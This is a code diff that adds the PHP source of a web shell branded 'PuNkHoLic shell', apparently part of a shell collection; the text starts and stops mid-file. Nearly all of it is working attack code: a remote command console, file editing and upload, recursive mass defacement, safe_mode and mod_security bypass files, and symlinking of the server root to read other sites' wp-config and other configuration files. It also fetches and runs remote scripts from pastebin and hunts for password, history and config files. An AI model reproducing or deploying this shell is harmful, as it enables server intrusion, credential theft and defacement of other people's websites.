'; +printFooter(); +} +function actionStringTools() { +if(!function_exists('hex2bin')) {function hex2bin($p) {return decbin(hexdec($p));}} +if(!function_exists('hex2ascii')) {function hex2ascii($p){$r='';for($i=0;$iString conversions

'; +$stringTools = array( +'Base64 encode' => 'base64_encode', +'Base64 decode' => 'base64_decode', +'Url encode' => 'urlencode', +'Url decode' => 'urldecode', +'Full urlencode' => 'full_urlencode', +'md5 hash' => 'md5', +'sha1 hash' => 'sha1', +'crypt' => 'crypt', +'CRC32' => 'crc32', +'ASCII to HEX' => 'ascii2hex', +'HEX to ASCII' => 'hex2ascii', +'HEX to DEC' => 'hexdec', +'HEX to BIN' => 'hex2bin', +'DEC to HEX' => 'dechex', +'DEC to BIN' => 'decbin', +'BIN to HEX' => 'bin2hex', +'BIN to DEC' => 'bindec', +'String to lower case' => 'strtolower', +'String to upper case' => 'strtoupper', +'Htmlspecialchars' => 'htmlspecialchars', +'String length' => 'strlen', +); +if(empty($_POST['ajax'])&&!empty($_POST['p1'])) +$_SESSION[md5($_SERVER['HTTP_HOST']).'ajax'] = false; +echo "
send using AJAX
";
+if(!empty($_POST['p1'])) {
+if(function_exists($_POST['p1']))
+echo htmlspecialchars($_POST['p1']($_POST['p2']));
+}
+echo"
"; +printFooter(); +} +function actionFilesTools() { +if( isset($_POST['p1']) ) +$_POST['p1'] = urldecode($_POST['p1']); +if(@$_POST['p2']=='download') { +if(is_file($_POST['p1']) && is_readable($_POST['p1'])) { +ob_start("ob_gzhandler", 4096); +header("Content-Disposition: attachment; filename=".basename($_POST['p1'])); +if (function_exists("mime_content_type")) { +$type = @mime_content_type($_POST['p1']); +header("Content-Type: ".$type); +} +$fp = @fopen($_POST['p1'], "r"); +if($fp) { +while(!@feof($fp)) +echo @fread($fp, 1024); +fclose($fp); +} +} elseif(is_dir($_POST['p1']) && is_readable($_POST['p1'])) { +} +exit; +} +if( @$_POST['p2'] == 'mkfile' ) { +if(!file_exists($_POST['p1'])) { +$fp = @fopen($_POST['p1'], 'w'); +if($fp) { +$_POST['p2'] = "edit"; +fclose($fp); +} +} +} +printHeader(); +echo '

File tools

'; +if( !file_exists(@$_POST['p1']) ) { +echo 'File not exists'; +printFooter(); +return; +} +$uid = @posix_getpwuid(@fileowner($_POST['p1'])); +$gid = @posix_getgrgid(@fileowner($_POST['p1'])); +echo 'Name: '.htmlspecialchars($_POST['p1']).' Size: '.(is_file($_POST['p1'])?viewSize(filesize($_POST['p1'])):'-').' Permission: '.viewPermsColor($_POST['p1']).' Owner/Group: '.$uid['name'].'/'.$gid['name'].'
'; +echo 'Create time: '.date('Y-m-d H:i:s',filectime($_POST['p1'])).' Access time: '.date('Y-m-d H:i:s',fileatime($_POST['p1'])).' Modify time: '.date('Y-m-d H:i:s',filemtime($_POST['p1'])).'

'; +if( empty($_POST['p2']) ) +$_POST['p2'] = 'view'; +if( is_file($_POST['p1']) ) +$m = array('View', 'Highlight', 'Download', 'Hexdump', 'Edit', 'Chmod', 'Rename', 'Touch'); +else +$m = array('Chmod', 'Rename', 'Touch'); +foreach($m as $v) +echo ''.((strtolower($v)==@$_POST['p2'])?'[ '.$v.' ]':$v).' '; +echo '

'; +switch($_POST['p2']) { +case 'view': +echo '
';
+$fp = @fopen($_POST['p1'], 'r');
+if($fp) {
+while( !@feof($fp) )
+echo htmlspecialchars(@fread($fp, 1024));
+@fclose($fp);
+}
+echo '
'; +break; +case 'highlight': +if( is_readable($_POST['p1']) ) { +echo '
'; +$code = highlight_file($_POST['p1'],true); +echo str_replace(array(''), array(''),$code).'
'; +} +break; +case 'chmod': +if( !empty($_POST['p3']) ) { +$perms = 0; +for($i=strlen($_POST['p3'])-1;$i>=0;--$i) +$perms += (int)$_POST['p3'][$i]*pow(8, (strlen($_POST['p3'])-$i-1)); +if(!@chmod($_POST['p1'], $perms)) +echo 'Can\'t set permissions!
'; +else +die(''); +} +echo '
'; +break; +case 'edit': +if( !is_writable($_POST['p1'])) { +echo 'File isn\'t writeable'; +break; +} +if( !empty($_POST['p3']) ) { +@file_put_contents($_POST['p1'],$_POST['p3']); +echo 'Saved!
'; +} +echo '
'; +break; +case 'hexdump': +$c = @file_get_contents($_POST['p1']); +$n = 0; +$h = array('00000000
','',''); +$len = strlen($c); +for ($i=0; $i<$len; ++$i) { +$h[1] .= sprintf('%02X',ord($c[$i])).' '; +switch ( ord($c[$i]) ) { +case 0:$h[2] .= ' '; break; +case 9:$h[2] .= ' '; break; +case 10: $h[2] .= ' '; break; +case 13: $h[2] .= ' '; break; +default: $h[2] .= $c[$i]; break; +} +$n++; +if ($n == 32) { +$n = 0; +if ($i+1 < $len) {$h[0] .= sprintf('%08X',$i+1).'
';} +$h[1] .= '
'; +$h[2] .= "\n"; +} + } +echo '
'.$h[0].'
'.$h[1].'
'.htmlspecialchars($h[2]).'
'; +break; +case 'rename': +if( !empty($_POST['p3']) ) { +if(!@rename($_POST['p1'], $_POST['p3'])) +echo 'Can\'t rename!
'; +else +die(''); +} +echo '
'; +break; +case 'touch': +if( !empty($_POST['p3']) ) { +$time = strtotime($_POST['p3']); +if($time) { +if(@touch($_POST['p1'],$time,$time)) +die(''); +else { +echo 'Fail!'; +} +} else echo 'Bad time format!'; +} +echo '
'; +break; +case 'mkfile': +break; +} +echo '
'; +printFooter(); +} +function actionDefacer() { +printHeader(); +echo "

Recursive Mass Defacer

"; +?> +
+

Folder: +
file name : +
Text Content : +

+ +[+] Recursive Mass defacer
+-----------------------------------------------

"; +$dir = opendir($mainpath); +while ($row = readdir($dir)) { +$start = @fopen("$row/$file", "w+"); +$code = $txtContents; +$finish = @fwrite($start, $code); +if ($finish) { +echo "http://$row/$file
"; +} +if (strncasecmp(PHP_OS, 'WIN', 3) == 0) { +exec("for /r %cd% %i in (.) do @copy $file %i 1>NUL"); +} else { +system("find $PWM -type d -exec cp $file {} \;"); +} +} +echo "-----------------------------------------------

[+] Script by PuNkHoLic [+]"; +} +echo '
'; +printFooter(); +} +function actionConsole() { +if(isset($_POST['ajax'])) { +$_SESSION[md5($_SERVER['HTTP_HOST']).'ajax'] = true; +ob_start(); +echo "document.cf.cmd.value='';\n"; +$temp = @iconv($_POST['charset'], 'UTF-8', addcslashes("\n$ ".$_POST['p1']."\n".ex($_POST['p1']),"\n\r\t\\'\0")); +if(preg_match("!.*cd\s+([^;]+)$!",$_POST['p1'],$match)){ +if(@chdir($match[1])) { +$GLOBALS['cwd'] = @getcwd(); +echo "document.mf.c.value='".$GLOBALS['cwd']."';"; +} +} +echo "document.cf.output.value+='".$temp."';"; +echo "document.cf.output.scrollTop = document.cf.output.scrollHeight;"; +$temp = ob_get_clean(); +echo strlen($temp), "\n", $temp; +exit; +} +printHeader(); +echo ''; +echo '

Console

send using AJAX
'; +echo '
'; +printFooter(); +} +function actionLogout() { +unset($_SESSION[md5($_SERVER['HTTP_HOST'])]); +echo 'Get out Now

+Chrome Pointer +You are out now :D
www.facebook.com/PuNkHoLic
'; +} +///my editing start here for tools +function download_remote_file($file_url, $save_to) +{ +$content = file_get_contents($file_url); +file_put_contents($save_to, $content); +} +if (isset($_POST['cp'])) { +download_remote_file('http://pastebin.com/raw/2Ntdj7ju', realpath("./") . '/cp.php'); +header("location:cp.php"); +} +if (isset($_POST['SymlinkbySmevk'])) { +download_remote_file('http://pastebin.com/raw.php?i=PhSk7Kvq', realpath("./") . '/SymlinkbySmevk.php'); +header("location:SymlinkbySmevk.php"); +} +if (isset($_POST['SymlinkbyCheetah'])) { +download_remote_file('http://pastebin.com/raw.php?i=EXejgAMv', realpath("./") . '/SymlinkbyCheetah.php'); +header("location:SymlinkbyCheetah.php"); +} +if (isset($_POST['SymlinkbyTorjan'])) { +download_remote_file('http://pastebin.com/raw.php?i=YUg4pXe2', realpath("./") . '/sym.py'); +$url = 'http://' . $_SERVER['SERVER_NAME'] . dirname($_SERVER['SCRIPT_NAME']) . '/trjnx/'; +header('location: '.$url); +system('python sym.py'); +} +if (isset($_POST['jump'])) { +download_remote_file('http://pastebin.com/raw/MxtcT6nX', realpath("./") . '/jump.php'); +header("location:jump.php"); +} +if (isset($_POST['adminer'])) { +system('wget https://www.adminer.org/static/download/4.2.5/adminer-4.2.5-mysql-en.php adminer.php'); +header("location:adminer-4.2.5-mysql-en.php"); +} +if (isset($_POST['cg'])) { +download_remote_file('http://pastebin.com/raw/WSgkDHSN', realpath("./") . '/cg.php'); +header("location:cg.php"); +} +function actionImportScripts() { +printHeader(); +echo ''; +echo ''; +echo ''; +echo ''; +echo ''; +echo ''; +echo ''; +printFooter(); +} +function actionShared() { +printHeader(); +$file = @implode(@file("/etc/named.conf")); +if (!$file) { +die("# can't ReaD -> [ /etc/named.conf ]"); +} +preg_match_all("#named/(.*?).db#", $file, $r); +$domains = array_unique($r[1]); +{ +foreach ($domains as $domain) { +$user = posix_getpwuid(@fileowner("/etc/valiases/" . $domain)); +$array= "http://$domain " . $user['name'] . "
"; +$lol= '' . get_current_user(); +if (strpos($array, "$lol") !== false) { +$shared = str_replace(array(" $lol"), "", $array); +echo "
$shared"; +} +} +} +printFooter(); +} +function actionSymlink() { +printHeader(); +echo '

Symlink

'; +$furl = 'http://'.$_SERVER['SERVER_NAME'].$_SERVER['REQUEST_URI']; +$expld = explode('/',$furl ); +$burl =str_replace(end($expld),'',$furl); +echo '
+

[ Domains ] - +[ Whole Server Symlink ] - +[ Config files symlink ]

'; +if(isset($_POST['p1']) && $_POST['p1']=='website') +{ +echo "
"; +$d0mains = @file("/etc/named.conf"); +if(!$d0mains){ +echo "
Cant access this file on server -> [ /etc/named.conf ]
"; +} else { +echo "
Just click and get the Script :).
+
+
"; +$unk = array(); +foreach($d0mains as $d0main){ +if(@eregi("zone",$d0main)){ +preg_match_all('#zone "(.*)"#', $d0main, $domains); +flush(); +if(strlen(trim($domains[1][0])) > 2){ +$unk[] = $domains[1][0]; +flush(); +} +} +} +$count=1; +$unk = array_unique($unk); +$l=0; +foreach($unk as $d){ +$user = posix_getpwuid(@fileowner("/etc/valiases/".$d)); +echo ""; +flush(); +$count++; +$l=$l?0:1; +} +echo "
Domains
".$d."".$user['name']."
"; +} +echo ""; +} +if(isset($_POST['p1']) && $_POST['p1']=='whole') +{ +echo "
"; +@mkdir('PCAPuNkHoLic_sym',0777); +$hdt= "Options all\nDirectoryIndex Sux.html\nAddType text/plain .php\nAddHandler server-parsed .php\nAddType text/plain .html\nAddHandler txt .html\nRequire None\nSatisfy Any"; +$hfp =@fopen ('PCAPuNkHoLic_sym/.htaccess','w'); +fwrite($hfp ,$hdt); +if(function_exists('symlink')) { +@symlink('/','PCAPuNkHoLic_sym/root'); +} +$d0mains = @file('/etc/named.conf'); +if(!$d0mains) { +echo "
# Cant access this file on server -> [ /etc/named.conf ]
"; +echo ""; +$dt = file('/etc/passwd'); +$l=0; +foreach($dt as $d) { +$r = explode(':',$d); +if(strpos($r[5],'home')) { +echo ""; +$l=$l?0:1; +$j++; +} +} +echo '
Count Domains User Symlink
".$j."---".$r[0]."symlink
'; +} else { +echo ""; +$count=1; +$mck = array(); +foreach($d0mains as $d0main){ +if(@eregi('zone',$d0main)){ +preg_match_all('#zone "(.*)"#',$d0main,$domain); +flush(); +if(strlen(trim($domain[1][0])) >2){ +$mck[] = $domain[1][0]; +} +} +} +$mck = array_unique($mck); +$usr = array(); +$dmn = array(); +foreach($mck as $o) { +$infos = @posix_getpwuid(fileowner("/etc/valiases/".$o)); +$usr[] = $infos['name']; +$dmn[] = $o; +} +array_multisort($usr,$dmn); +$dt = file('/etc/passwd'); +$passwd = array(); +foreach($dt as $d) { +$r = explode(':',$d); +if(strpos($r[5],'home')) { +$passwd[$r[0]] = $r[5]; +} +} +$l=0; +$j=1; +foreach($usr as $r) { +echo " + + +"; +flush(); +$l=$l?0:1; +$j++; +} +echo '
Count Domains User Symlink
".$count++."'.$dmn[$j-1].' '.$r."symlink
'; +} +echo ""; +} +if(isset($_POST['p1']) && $_POST['p1']=='config') +{ +echo "
"; +@mkdir('PCAPuNkHoLic_sym',0777); +$hdt = "Options all \n DirectoryIndex Sux.html \n AddType text/plain .php \n AddHandler server-parsed .php \nAddType text/plain .html \n AddHandler txt .html \n Require None \n Satisfy Any"; +$hfp = @fopen ('PCAPuNkHoLic_sym/.htaccess','w'); +@fwrite($hfp ,$hdt); +if(function_exists('symlink')) { +@symlink('/','PCAPuNkHoLic_sym/root'); +} +$d0mains=@file('/etc/named.conf'); +if(!$d0mains) { +echo "
# Cant access this file on server -> [ /etc/named.conf ]
"; +}else { +echo ">"; +$count = 1; +$l=0; +foreach($d0mains as $d0main){ +if(@eregi('zone',$d0main)){ +preg_match_all('#zone "(.*)"#',$d0main,$domain); +flush(); +if(strlen(trim($domain[1][0]))>2){ +$user = posix_getpwuid(@fileowner('/etc/valiases/'.$domain[1][0])); +$c1 = $burl.'/PCAPuNkHoLic_sym/root/home/'.$user['name'].'/public_html/wp-config.php'; +$ch01 = get_headers($c1); +$cf01 = $ch01[0]; +$c2 = $burl.'/PCAPuNkHoLic_sym/root/home/'.$user['name'].'/public_html/blog/wp-config.php'; +$ch02 = get_headers($c2); +$cf02 = $ch02[0]; +$c3 = $burl.'/PCAPuNkHoLic_sym/root/home/'.$user['name'].'/public_html/configuration.php'; +$ch03 = get_headers($c3); +$cf03 = $ch03[0]; +$c4 = $burl.'/PCAPuNkHoLic_sym/root/home/'.$user['name'].'/public_html/joomla/configuration.php'; +$ch04 = get_headers($c4); +$cf04 = $ch04[0]; +$c5 = $burl.'/PCAPuNkHoLic_sym/root/home/'.$user['name'].'/public_html/includes/config.php'; +$ch05 = get_headers($c5); +$cf05 = $ch05[0]; +$c6 = $burl.'/PCAPuNkHoLic_sym/root/home/'.$user['name'].'/public_html/vb/includes/config.php'; +$ch06 = get_headers($c6); +$cf06 = $ch06[0]; +$c7 = $burl.'/PCAPuNkHoLic_sym/root/home/'.$user['name'].'/public_html/forum/includes/config.php'; +$ch07 = get_headers($c7); +$cf07 = $ch07[0]; +$c8 = $burl.'/PCAPuNkHoLic_sym/root/home/'.$user['name'].'public_html/clients/configuration.php'; +$ch08 = get_headers($c8); +$cf08 = $ch08[0]; +$c9 = $burl.'/PCAPuNkHoLic_sym/root/home/'.$user['name'].'/public_html/support/configuration.php'; +$ch09 = get_headers($c9); +$cf09 = $ch09[0]; +$c10 = $burl.'/PCAPuNkHoLic_sym/root/home/'.$user['name'].'/public_html/client/configuration.php'; +$ch10 = get_headers($c10); +$cf10 = $ch10[0]; +$c11 = $burl.'/PCAPuNkHoLic_sym/root/home/'.$user['name'].'/public_html/submitticket.php'; +$ch11 = get_headers($c11); +$cf11 = $ch11[0]; +$c12 = $burl.'/PCAPuNkHoLic_sym/root/home/'.$user['name'].'/public_html/client/configuration.php'; +$ch12 = get_headers($c12); +$cf12 = $ch12[0]; +$c13 = $burl.'/PCAPuNkHoLic_sym/root/home/'.$user['name'].'/public_html/includes/configure.php'; +$ch13 = get_headers($c13); +$cf13 = $ch13[0]; +$c14 = $burl.'/PCAPuNkHoLic_sym/root/home/'.$user['name'].'/public_html/include/app_config.php'; +$ch14 = get_headers($c14); +$cf14 = $ch14[0]; +$c15 = $burl.'/PCAPuNkHoLic_sym/root/home/'.$user['name'].'/public_html/sites/default/settings.php'; +$ch15 = get_headers($c15); +$cf15 = $ch15[0]; +$out = ' '; +if(strpos($cf01,'200') == true){ $out = "Wordpress"; } +elseif(strpos($cf02,'200') == true){ $out = "Wordpress"; } +elseif(strpos($cf03,'200') == true && strpos($cf11,'200') == true) { $out = " WHMCS"; } +elseif(strpos($cf09,'200') == true){ $out = " WHMCS";} +elseif(strpos($cf10,'200') == true){ $out = " WHMCS"; } +elseif(strpos($cf03,'200') == true){ $out = " Joomla"; } +elseif(strpos($cf04,'200') == true){ $out = " Joomla"; } +elseif(strpos($cf05,'200') == true){ $out = " vBulletin";} +elseif(strpos($cf06,'200') == true){ $out = " vBulletin";} +elseif(strpos($cf07,'200') == true){ $out = " vBulletin";} +elseif(strpos($cf08,'200') == true){ $out = " Client Area";} +elseif(strpos($cf12,'200') == true){ $out = " Client Area";} +elseif(strpos($cf13,'200') == true){ $out = " osCommerce/Zen Cart";} +elseif(strpos($cf14,'200') == true){ $out = " Magento";} +elseif(strpos($cf15,'200') == true){ $out = " Drupal";} +else { +continue; +} +echo ''; +flush(); +$l=$l?0:1; +} +} +} +echo "
Count Domain User Script
'.$count++.''.$domain[1][0].''.$user['name'].''.$out.'
"; +} +echo ""; +} +echo "
"; +printFooter(); +} + function actionJumping() +{printHeader(); +echo ''.getenv("HTTP_HOST").' - Jumping Server'; +($sm = ini_get('safe_mode') == 0) ? $sm = 'off': die('Error: Safe_mode = On'); +set_time_limit(0);@$passwd = fopen('/etc/passwd','r');if (!$passwd) { die('[-] Error : Coudn`t Read /etc/passwd'); } +$pub = array();$users = array();$conf = array();$i = 0;while(!feof($passwd)){$str = fgets($passwd);if ($i > 100){ $pos = strpos($str,':');$username = substr($str,0,$pos);$dirz = '/home/'.$username.'/public_html/';if (($username != '')) { if (is_readable($dirz)) { array_push($users,$username);array_push($pub,$dirz); }}}$i++;} +echo ' [-]==================[ START ]==================[-]
'; +foreach ($users as $user){echo " [+] /home/$user/public_html/
";} echo "\n
[-]==================[ FINISH ]==================[-]
\n"; echo ''; +printFooter(); +} +function actionSubdomain() { +printHeader(); +error_reporting(0); +$user = get_current_user(); +$open = opendir('/home/' . $user . '/access-logs/'); +while ($dir = readdir($open)) { +$totalDoamin[] = $dir; +} +closedir($open); +$total = count($totalDoamin); +$domain = $total - 2; +if ($domain > 0) { +echo "

~ Total " . $domain . " Sub Domain Found! ~

"; +} else { +echo "

~ 0 Sub Domain Found! ~

"; +} +$scan = array_diff(scandir('/home/' . $user . '/access-logs/'), array('.')); +$domains = implode(" +http://", $scan); +echo ' +'; +printFooter(); +} +function actionSym() { +printHeader(); +$file = @implode(@file("/etc/named.conf")); +if (!$file) { +die("# can't ReaD -> [ /etc/named.conf ]"); +} +preg_match_all("#named/(.*?).db#", $file, $r); +$domains = array_unique($r[1]); +{ +foreach ($domains as $domain) { +$user = posix_getpwuid(@fileowner("/etc/valiases/" . $domain)); +$array= "
http://$domain
"; +$lol= '' . get_current_user(); +if (strpos($array, "$lol") == false) { +$shared = str_replace(array(" $lol"), "", $array); +echo "
$shared"; +} +} +} +printFooter(); +} +function actionBypass() { +printHeader(); +echo '

Safe Mode

'; +echo '
'; +echo "

| SAFE MODE AND MOD SECURITY DISABLED AND PERL 500 INTERNAL ERROR BYPASS |

Following php.ini and .htaccess(mod) and perl(.htaccess)[convert perl extention *.pl => *.sh] files create in following dir
| ".$GLOBALS['cwd']." |

"; +echo '| PHP.INI | | .htaccess(Mod) | | .htaccess(perl) |
'; +if(!empty($_POST['p2']) && isset($_POST['p2'])) +{ +$fil=fopen($GLOBALS['cwd'].".htaccess","w"); +fwrite($fil,' +Sec------Engine Off +Sec------ScanPOST Off +'); +fclose($fil); + } + if(!empty($_POST['p1'])&& isset($_POST['p1'])) + { +$fil=fopen($GLOBALS['cwd']."php.ini","w"); +fwrite($fil,'safe_mode=OFF +disable_functions=NONE'); +fclose($fil); +} +if(!empty($_POST['p3']) && isset($_POST['p3'])) +{ +$fil=fopen($GLOBALS['cwd'].".htaccess","w"); +fwrite($fil,'Options FollowSymLinks MultiViews Indexes ExecCGI +AddType application/x-httpd-cgi .sh +AddHandler cgi-script .pl +AddHandler cgi-script .pl'); +fclose($fil); +} +echo "


"; +echo '
'; +printFooter(); +} +function actionDeface() { +printHeader(); +echo "

Mass Defacer by PuNkHoLic

"; +?> + +

Folder: +
file name : +
Text Content : +

+ Done

"; +} +} +} +echo '
'; +printFooter(); +} + function actionDomain() { +printHeader(); +echo '

Local Domains

'; +$file = @implode(@file("/etc/named.conf")); +$Domain_path = "/var/named"; +if (!$file) { +$domains = scandir($Domain_path); +$count=1; +$dc = 0; +echo " + +"; +foreach ($domains as &$domain) { +if (stripos($domain,".db")) { +$domain = str_replace('.db','',$domain); +} +if (strlen($domain) > 6) { +echo ""; +} +} +echo "
There are : ( " . count($domains) . " ) Domains in this Sever.Can't read named.cof .Domains are bypassed actually,you will face problem in symlink.
NoDomainUser
".$count++."".$domain."User
"; +}else{ +$count = 1; +preg_match_all("#named/(.*?).db#", $file, $r); +$domains = array_unique($r[1]); +echo " + +"; +foreach ($domains as $domain) { +$user = posix_getpwuid(@fileowner("/etc/valiases/" . $domain)); +echo ""; + } +} + printFooter(); +} +if( empty($_POST['a']) ) +if(isset($default_action) && function_exists('action' . $default_action)) +$_POST['a'] = $default_action; +else +$_POST['a'] = 'SecInfo'; +if( !empty($_POST['a']) && function_exists('action' . $_POST['a']) ) +call_user_func('action' . $_POST['a']) +?> diff --git a/Collection/punkholic.php b/Collection/punkholic.php new file mode 100644 index 0000000..71ef773 --- /dev/null +++ b/Collection/punkholic.php @@ -0,0 +1,1465 @@ + + + +PuNkHoLic shell + + + + +
+
+PuNkHoLic +
PuNkHoLic Shell
+
+User Name:
+Password:
+ + + +

+
+ + + "dir", +"Find index.php in current dir" => "dir /s /w /b index.php", +"Find *config*.php in current dir" => "dir /s /w /b *config*.php", +"Show active connections" => "netstat -an", +"Show running services" => "net start", +"User accounts" => "net user", +"Show computers" => "net view", +"ARP Table" => "arp -a", +"IP Configuration" => "ipconfig /all" +); +} +else{ +$aliases = array( +"List dir" => "ls -la", +"list file attributes on a Linux second extended file system" => "lsattr -va", +"show opened ports" => "netstat -an | grep -i listen", +"Find" => "", +"find all suid files" => "find / -type f -perm -04000 -ls", +"find suid files in current dir" => "find . -type f -perm -04000 -ls", +"find all sgid files" => "find / -type f -perm -02000 -ls", +"find sgid files in current dir" => "find . -type f -perm -02000 -ls", +"find config.inc.php files" => "find / -type f -name config.inc.php", +"find config* files" => "find / -type f -name \"config*\"", +"find config* files in current dir" => "find . -type f -name \"config*\"", +"find all writable folders and files" => "find / -perm -2 -ls", +"find all writable folders and files in current dir" => "find . -perm -2 -ls", +"find all service.pwd files" => "find / -type f -name service.pwd", +"find service.pwd files in current dir" => "find . -type f -name service.pwd", +"find all .htpasswd files" => "find / -type f -name .htpasswd", +"find .htpasswd files in current dir" => "find . -type f -name .htpasswd", +"find all .bash_history files" => "find / -type f -name .bash_history", +"find .bash_history files in current dir" => "find . -type f -name .bash_history", +"find all .fetchmailrc files" => "find / -type f -name .fetchmailrc", +"find .fetchmailrc files in current dir" => "find . -type f -name .fetchmailrc", +"Locate" => "", +"locate httpd.conf files" => "locate httpd.conf", +"locate vhosts.conf files" => "locate vhosts.conf", +"locate proftpd.conf files" => "locate proftpd.conf", +"locate psybnc.conf files" => "locate psybnc.conf", +"locate my.conf files" => "locate my.conf", +"locate admin.php files" =>"locate admin.php", +"locate cfg.php files" => "locate cfg.php", +"locate conf.php files" => "locate conf.php", +"locate config.dat files" => "locate config.dat", +"locate config.php files" => "locate config.php", +"locate config.inc files" => "locate config.inc", +"locate config.inc.php" => "locate config.inc.php", +"locate config.default.php files" => "locate config.default.php", +"locate config* files " => "locate config", +"locate .conf files"=>"locate '.conf'", +"locate .pwd files" => "locate '.pwd'", +"locate .sql files" => "locate '.sql'", +"locate .htpasswd files" => "locate '.htpasswd'", +"locate .bash_history files" => "locate '.bash_history'", +"locate .mysql_history files" => "locate '.mysql_history'", +"locate .fetchmailrc files" => "locate '.fetchmailrc'", +"locate backup files" => "locate backup", +"locate dump files" => "locate dump", +"locate priv files" => "locate priv" +); +} +if(isset($_POST['p1']) && $_POST['p1']=='deface') { +$def = file_get_contents($deface_url); +file_put_contents($_POST['c'].$_POST['p2'],$def); +} +function ex($in) { +$out = ''; +if ( function_exists(' exec ')) { +@exec($in,$out); +$out = @join("\n",$out); +}elseif(function_exists('passthru')) { +ob_start(); +@passthru($in); +$out = ob_get_clean(); +}elseif(function_exists('system')) { +ob_start(); +@system($in); +$out = ob_get_clean(); +}elseif(function_exists('shell_exec')) { +$out = shell_exec($in); +}elseif(is_resource($f = @popen($in,"r"))) { +$out = ""; +while(!@feof($f)) +$out .= fread($f,1024); +pclose($f); +} +return $out; +} +function which($p) { +$path = ex('which '.$p); +if(!empty($path)) +return $path; +return false; +} +function printHeader() { +if(empty($_POST['charset'])) +$_POST['charset'] = "UTF-8"; +global $color; +global $Theme; +global $TabsColor; +echo ""; +echo ' +PuNkHoLic Shell + + +Chrome Pointer + +
+
+ + + + + + +'; +$freeSpace = @diskfreespace($GLOBALS['cwd']); +$totalSpace = @disk_total_space($GLOBALS['cwd']); +$totalSpace = $totalSpace?$totalSpace:1; +$disable_functions = @ini_get('disable_functions'); +$release = @php_uname('r'); +$kernel = @php_uname('s'); +if(!function_exists('posix_getegid')) { +$user = @get_current_user(); +$uid = @getmyuid(); +$gid = @getmygid(); +$group = "?"; +} else { +$uid = @posix_getpwuid(@posix_geteuid()); +$gid = @posix_getgrgid(@posix_getegid()); +$user = $uid['name']; +$uid = $uid['uid']; +$group = $gid['name']; +$gid = $gid['gid']; +} +$cwd_links = ''; +$path = explode("/", $GLOBALS['cwd']); +$n=count($path); +for($i=0;$i<$n-1;$i++) { +$cwd_links .= "".$path[$i]."/"; +} +$charsets = array('UTF-8', 'Windows-1251', 'KOI8-R', 'KOI8-U', 'cp866'); +$opt_charsets = ''; +foreach($charsets as $item) +$opt_charsets .= ''; +$m = array('Import Scripts'=>'ImportScripts','Jumping'=>'Jumping','Symlink'=>'Symlink','Domains' => 'Domain','Shared Hostings'=>'Shared','Sym Sites'=>'Sym','Subdomain'=>'Subdomain','Sec. Info'=>'SecInfo','Files'=>'FilesMan','Console'=>'Console','Safe Mode'=>'Bypass','String tools'=>'StringTools','Defacer' => 'Deface','Recursive Defacer'=>'Defacer'); +if(!empty($GLOBALS['auth_pass'])) +$m['Logout'] = 'Logout'; +$menu = ''; +foreach($m as $k => $v) +$menu .= '
'; +$drives = ""; +if ($GLOBALS['os'] == 'win') { +foreach( range('a','z') as $drive ){ +if (is_dir($drive.':\\')) +$drives .= '[ '.$drive.' ] '; +} +$drives .= '
: '; +} +if($GLOBALS['os'] == 'nix') { +$dominios = @file_get_contents("/etc/named.conf"); +if(!$dominios) { +$DomainS = "/var/named"; +$Domainonserver = scandir($DomainS); +$d0c = count($Domainonserver); +} else { +@preg_match_all('/.*?zone "(.*?)" {/', $dominios, $out); +$out = sizeof(array_unique($out[1])); +$d0c = $out."Domains"; +} +} else { +$d0c = "Nothing here bro:("; +} +if($GLOBALS['os'] == 'nix' ) +{ +$usefl = ''; $dwnldr = ''; +if(!@ini_get('safe_mode')) { +$temp = array(); +$userful = array('gcc','lcc','cc','ld','make','php','perl','python','ruby','tar','gzip','bzip','bzip2','nc','locate','suidperl'); +foreach($userful as $item) { if(which($item)) $temp[]= $item; } +$usefl = implode(', ',$temp); +$temp = array(); +$downloaders = array('wget','fetch','lynx','links','curl','get','lwp-mirror'); +foreach($downloaders as $item2) { if(which($item2)) $temp[]= $item2; } +$dwnldr = implode(', ',$temp); +} else { +$usefl = ' ------- '; $dwnldr = ' ------- '; +} +} else { +$usefl = ' ------- '; $dwnldr = ' ------- '; +} +echo '
There are( " . count($domains) . " ) Domains in this Sever.I think you have got something this time yeah!!!.
NoDomainUser
".$count++."".$domain."".$user['name']."
'.$k.'
+'. + ''. + '
+
Uname: '.substr(@php_uname(), 0, 120).'
User: '.$uid.' ( '.$user.' ) Group: '.$gid.' ( '.$group.' )
Server: '.@getenv('SERVER_SOFTWARE').'
Useful: '.$usefl.'
Downloaders: '.$dwnldr.'
D/functions: '.($disable_functions?$disable_functions:'All Function Enable').'
'.($GLOBALS['os'] == 'win'?'Drives
Cwd':'Cwd').'
: '.$drives.''.$cwd_links.' '.viewPermsColor($GLOBALS['cwd']).' [ home ]
Sv IP
Your IP
HDD
Free
PHP
Safe Mode
Domains
: '.gethostbyname($_SERVER["HTTP_HOST"]).'
: '.$_SERVER['REMOTE_ADDR'].'
: '.viewSize($totalSpace).'
: '.viewSize($freeSpace).' ('.(int)($freeSpace/$totalSpace*100).'%)
: '.@phpversion().' [ phpinfo ]
: '.($GLOBALS['safe_mode']?'ON':'OFF').'
: '.$d0c.'
'. + '
'.$menu.'
'; +} +function printFooter() { +$is_writable = is_writable($GLOBALS['cwd'])?"[ Writeable ]":"[ Not writable ]"; +echo '
+ + + + + + + + + + + + + +
Change dir:
Read file:
Make dir:
'.$is_writable.'
Make file:
'.$is_writable.'
Execute:
+ + + + +Upload file:
'.$is_writable.'
+
PuNkHoLic Shell coded by PuNkHoLic
+ +'; +} +if ( !function_exists("posix_getpwuid") && (strpos($GLOBALS['disable_functions'], 'posix_getpwuid')===false) ) { function posix_getpwuid($p) { return false; } } +if ( !function_exists("posix_getgrgid") && (strpos($GLOBALS['disable_functions'], 'posix_getgrgid')===false) ) { function posix_getgrgid($p) { return false; } } +function viewSize($s) { +if($s >= 1073741824) +return sprintf('%1.2f', $s / 1073741824 ). ' GB'; +elseif($s >= 1048576) +return sprintf('%1.2f', $s / 1048576 ) . ' MB'; +elseif($s >= 1024) +return sprintf('%1.2f', $s / 1024 ) . ' KB'; +else +return $s . ' B'; +} +function perms($p) { +if (($p & 0xC000) == 0xC000)$i = 's'; +elseif (($p & 0xA000) == 0xA000)$i = 'l'; +elseif (($p & 0x8000) == 0x8000)$i = '-'; +elseif (($p & 0x6000) == 0x6000)$i = 'b'; +elseif (($p & 0x4000) == 0x4000)$i = 'd'; +elseif (($p & 0x2000) == 0x2000)$i = 'c'; +elseif (($p & 0x1000) == 0x1000)$i = 'p'; +else $i = 'u'; +$i .= (($p & 0x0100) ? 'r' : '-'); +$i .= (($p & 0x0080) ? 'w' : '-'); +$i .= (($p & 0x0040) ? (($p & 0x0800) ? 's' : 'x' ) : (($p & 